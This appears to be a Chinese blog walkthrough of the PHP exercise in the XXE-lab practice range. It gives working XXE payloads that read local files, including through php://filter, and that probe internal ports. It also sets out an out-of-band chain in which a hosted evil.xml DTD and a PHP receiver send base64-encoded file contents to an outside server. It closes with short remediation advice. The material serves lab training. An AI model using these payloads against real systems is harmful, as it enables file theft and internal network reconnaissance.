当前位置: 首页 > news >正文

XXE-lab-master靶场:PHP_xxe

目录

有回显

测试回显位置

构建payload

无回显数据外带

构建payload

漏洞修复


XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。

下载地址:https://github.com/c0ny1/xxe-lab

将PHPStudy的中间件与版本信息调制为 php-5.4.29+Apache 以下,然后访问以下地址开始练习

http://127.0.0.1/xxe-lab-master/php_xxe/

有回显

打开PHP_XXE目录下的 index.html 文件查看源代码,发现73行会在 Login按钮下会触发JavaScript脚本的 doLogin() 函数。

查看 doLogin() 函数定义代码,发现 JavaScript 脚本会将用户输入的 username 和 password 拼接为xml格式的数据,并且利用 ajax 的方法提交,提交时 xml 的数据被当作 POST 数据包的内容提交。

打开后端的 doLogin.php 文件在该 PHP 文件中,主要是接收POST请求的内容,并将其转化为XML对象,然后提取XML对象中的 username 和 password 字段。然后比对两个字段值分别是否相等。

libxml_disable_entity_loader(Fash)
代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下需要将这里的False改为True,即可避免产生XXE漏洞。
loadXML()
该函数可以将一个输入的字符串转化为DOMDocument对象。
simplexml_import_dom()
该函数可以把DOM节点转化为SimpleXMLElement对象。

在登录界面输入账号密码并抓取数据包

测试回显位置

通过测试,能看到用户名位置存在有回显的。而后面密码字段就无回显

构建payload

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c://windows/win.ini">
]><user><username>&name;</username><password>1</password></user>

读取本地文件(写一个 1.txt 文件,内容随便,我这里是 3 个 hello)

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///d://1.txt">
]><user><username>&name;</username><password>1</password></user>

使用PHP伪协议读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">]><user><username>&fl;</username><password>1</password></user>

探测内网存活主机与端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "http://127.0.0.1:3306">]><user><username>&fl;</username><password>1</password></user>

无回显数据外带

把XXE-labs靶场的输出及报错都关闭,模拟无回显情况,把 phpStudy_64\phpstudy_pro\WWW\xxe-lab-master\php_xxe\doLogin.php 的 doLogin.php 中的最后一行代码注释掉,在账号密码上面加一句代码

error_reporting(0);

构建payload

1、 运行下面的XML语法,发现没有了数据回显

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM "http://127.0.0.1:80/1.txt">
%shit;
]>

2、 在远程服务器上创建 evil.xml 文件并使用 Python 开启 http 服务

1.php 内容:

<?php file_put_contents("1.txt", $_GET['file']); ?>

evil.xml内容:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.110.24:8000/1.php?content=%file;'>"> %payload;
python -m http.server 8000

3、构造外部实体并进行访问

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.110.24:8000/evil.xml">
%dtd;
%send;
]>

回到HTTP服务器上发现数据已经带到请求日志上,经Base64解码得出内容

漏洞修复

1、使用开发语言禁用外部实体;

2、过滤 SYSTEM/PUBLIC 等关键字;

相关文章:

XXE-lab-master靶场:PHP_xxe

目录 有回显 测试回显位置 构建payload 无回显数据外带 构建payload 漏洞修复 XXE-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞靶场。 下载地址&#xff1a;https://github.com/c0ny1/xxe-lab 将PHPStudy的中间件与版本信息调制为 php-5.4.29Apache 以…...

视图,存储过程和触发器

目录 视图 创建视图&#xff1a; 视图的使用 查看库中所有的视图 删除视图 视图的作用&#xff1a; 存储过程&#xff1a; 为什么使用存储过程&#xff1f; 什么是存储过程&#xff1f; 存储过程的创建 创建一个最简单的存储过程 使用存储过程 删除存储过程 带参的存储…...

sqli-labs(6-10)关通关讲解

sqli-labs(6-10)关通关讲解 Less-6 方法一&#xff1a;手工注入 1.判断闭合 http://localhost/sqli-labs/Less-6/?id1" //报错 http://localhost/sqli-labs/Less-6/?id1" -- //正常 http://localhost/sqli-labs/Less-6/?id1" and 11 -- http://localhos…...

【解决方法】git clone出现 curl 56 OpenSSL SSL_read: Connection was reset, errno 10054

当我们克隆别人的项目出现以下提示信息时候 remote: Enumerating objects: 7095, done. error: RPC failed; curl 56 OpenSSL SSL_read: Connection was reset, errno 10054 error: 2292 bytes of body are still expected fetch-pack: unexpected disconnect while reading s…...

机械拆装-基于Unity-本地数据持久化

目录 1. 数据结构简介&#xff1a;数据的集合 1.1 线性数据结构 1.2 非线性数据结构 2. 对数据集合的操作&#xff1a; 3. 数据持久化 3.1 数据的序列化存储 3.2 JSON文件硬盘存储 3.2.1 Json文件允许存储的数据类型 3.2.2 Json文件的语法格式 3.2.3 Json文件的读取 3.2.4 …...

【SpringBoot】4.3.5 参数传递之ModelAndView对象

ModelAndView也是SpringMVC中常用的数据返回对象。当控制器处理完请求时&#xff0c;通常会将包含视图对象和数据的ModelAndView对象一起返回前台。它的作用类似request对象的setAttribute()方法。 ModelAndView对象有两个作用: 1)设置转向地址(这也是ModelAndView和ModelMap的…...

《技术人求职之道》之简历优化篇(上):量身打造简历,如何与自身情况完美匹配

摘要 在求职过程中&#xff0c;简历优化是提升面试机会的关键步骤。本文将探讨如何通过精心设计简历来提高求职成功率。文章将首先指出&#xff0c;不存在完美简历&#xff0c;重要的是根据个人实际情况定制简历。接着&#xff0c;详细介绍撰写简历时应遵循的基本原则和要素&a…...

mysql+php+html实现学生管理系统

mysqlphphtml实现学生管理系统 前言 本文使用Mysqlphphtml实现一个简单的学生管理系统&#xff0c;实现了登陆&#xff0c;注册&#xff0c;总览学生信息&#xff0c;添加学生&#xff0c;查询特定的学生&#xff0c;删除指定的学生等功能。并且本文仅用来学习就够了&#xf…...

find+rm一行命令删除文件夹及子文件夹下文件,不删除子文件夹,或者用python实现

如果你正在使用类Unix操作系统&#xff08;如Linux或macOS&#xff09;&#xff0c;并希望使用命令行工具rm来删除一个文件夹及其子文件夹下的所有文件&#xff0c;同时保留文件夹结构&#xff0c;你可以使用find命令配合rm来实现这一操作。这种方法非常高效且常用于批量删除文…...

超详细的linux-conda环境安装教程

安装和配置Linux系统中的Conda环境是一个强大的工具&#xff0c;它可以帮助用户管理Python及其库。以下是一份超详细的Linux-Conda环境安装教程&#xff1a; 1. 安装前的准备 确保你的Linux系统已经更新到最新版本&#xff0c;并安装了基本的开发工具和库。 sudo apt-get up…...

vite项目构建配置

1、用vite搭建项目 使用npm create vitelatest构建项目&#xff0c;配置项选项react->tsSWC即可。 让后打开项目npm i。 2、项目配置 2.1、vite配置 主要是配置用到的插件&#xff08;plugins--比如&#xff1a;svg、mock等&#xff09;、路径、环境变量的使用、打包、…...

Java 反射机制与Spring框架的那点事

Java 反射机制是 Java 语言提供的一种能力&#xff0c;允许程序在运行时查询、访问和修改它自己的结构和行为。反射机制非常有用&#xff0c;但同时也需要谨慎使用&#xff0c;因为它可能会带来性能开销和安全风险。 以下是 Java 反射机制的一些关键概念和用法&#xff1a; Cl…...

计算机网络面试题3

四次挥手 断开连接需要四次挥手 1.客户端发送一个FIN(SEQx&#xff09;标志的数据包到服务端&#xff0c;用来关闭客户端到服务端的数据传送&#xff0c; 然后客户端进入FIN-WAIT-1状态。 2.服务端收到一个FIN(SEQx&#xff09;标志的数据包&#xff0c;它…...

day54|110.字符串接龙, 105.有向图的完全可达性, 106.岛屿的周长

110.字符串接龙 110. 字符串接龙 (kamacoder.com) #include<iostream> #include<vector> #include<unordered_set> #include<unordered_map> #include<string> #include<queue>using namespace std;int main(){int n 0;cin >> n;…...

使用docker在CentOS 7上安装php+mysql+nginx环境教程并运行WordPress

文章目录 一、安装docker1、切换yum源并更新系统2、卸载旧版docker3、配置Docker的yum库4、安装Docker5、启动和校验Docker6、配置镜像加速6.1、注册阿里云账号6.2、开通镜像服务6.3、配置镜像加速二、部署php+mysql+nginx环境1、准备目录结构2、拉取镜像3、运行容器并从中拷贝…...

vite tsx项目的element plus集成 - 按需引入踩坑

前面我们进行了开源组件的自研&#xff0c;很多组件可直接用现成的开源组件库&#xff0c;并不需要自己重复造轮子&#xff0c;为此我们讲如何在当前vite vitepress tsx技术整合的项目中实现element plus组件的按需引入&#xff0c;同时解决遇到的一些坑。 安装Element Plus…...

Android GreenDao 升级 保留旧表数据

Android GreenDao 升级 保留旧表数据 大川的川关注IP属地: 北京 0.2052019.08.05 11:54:36字数 270阅读 363 瓦力和伊娃 GreenDao升级库版本号之后&#xff0c;以前的旧数据没有了&#xff0c;为啥&#xff0c;因为GreenDao在升级的时候会删除旧库&#xff0c;创建新库&#…...

记一次证书站有趣的SQL注入

一、确定站点 按照以前文章中提到的寻找可进站测试的思路&#xff0c;找到了某证书站的一处站点&#xff0c;通告栏中写明了初始密码的结构&#xff0c;因此我们可通过信息搜集进入该站点(可以考虑去搜集比较老的学号&#xff0c;因为这样的账号要么被冻结&#xff0c;要么就是…...

1_初识pytorch

之前完全没有了解过深度学习和pytorch&#xff0c;但现在因为某些原因不得不学了。不得不感叹&#xff0c;深度学习是真的火啊。纯小白&#xff0c;有错的欢迎指正~ 参考视频&#xff1a;PyTorch深度学习快速入门教程&#xff08;绝对通俗易懂&#xff01;&#xff09;【小土堆…...

c++typeid()的使用

用处: typeid()函数主要用来获取对应类型或者变量的类型信息&#xff0c;其返回一个std::type_info的对象&#xff0c;这个对象中存放了对应类型的具体信息。 所以typeid()函数就是获取一个type_info的类型&#xff0c;然后可以通过此类型来获取到相应的类型信息。 type_info的…...

模型参数、模型存储精度、参数与显存

模型参数量衡量单位 M&#xff1a;百万&#xff08;Million&#xff09; B&#xff1a;十亿&#xff08;Billion&#xff09; 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的&#xff0c;但是一个参数所表示多少字节不一定&#xff0c;需要看这个参数以什么…...

通过Wrangler CLI在worker中创建数据库和表

官方使用文档&#xff1a;Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后&#xff0c;会在本地和远程创建数据库&#xff1a; npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库&#xff1a; 现在&#xff0c;您的Cloudfla…...

vscode(仍待补充)

写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh&#xff1f; debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

React19源码系列之 事件插件系统

事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

【论文笔记】若干矿井粉尘检测算法概述

总的来说&#xff0c;传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度&#xff0c;通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

【HTML-16】深入理解HTML中的块元素与行内元素

HTML元素根据其显示特性可以分为两大类&#xff1a;块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...

爬虫基础学习day2

# 爬虫设计领域 工商&#xff1a;企查查、天眼查短视频&#xff1a;抖音、快手、西瓜 ---> 飞瓜电商&#xff1a;京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空&#xff1a;抓取所有航空公司价格 ---> 去哪儿自媒体&#xff1a;采集自媒体数据进…...

Linux --进程控制

本文从以下五个方面来初步认识进程控制&#xff1a; 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程&#xff0c;创建出来的进程就是子进程&#xff0c;原来的进程为父进程。…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中&#xff0c;新增了一个本地验证码接口 /code&#xff0c;使用函数式路由&#xff08;RouterFunction&#xff09;和 Hutool 的 Circle…...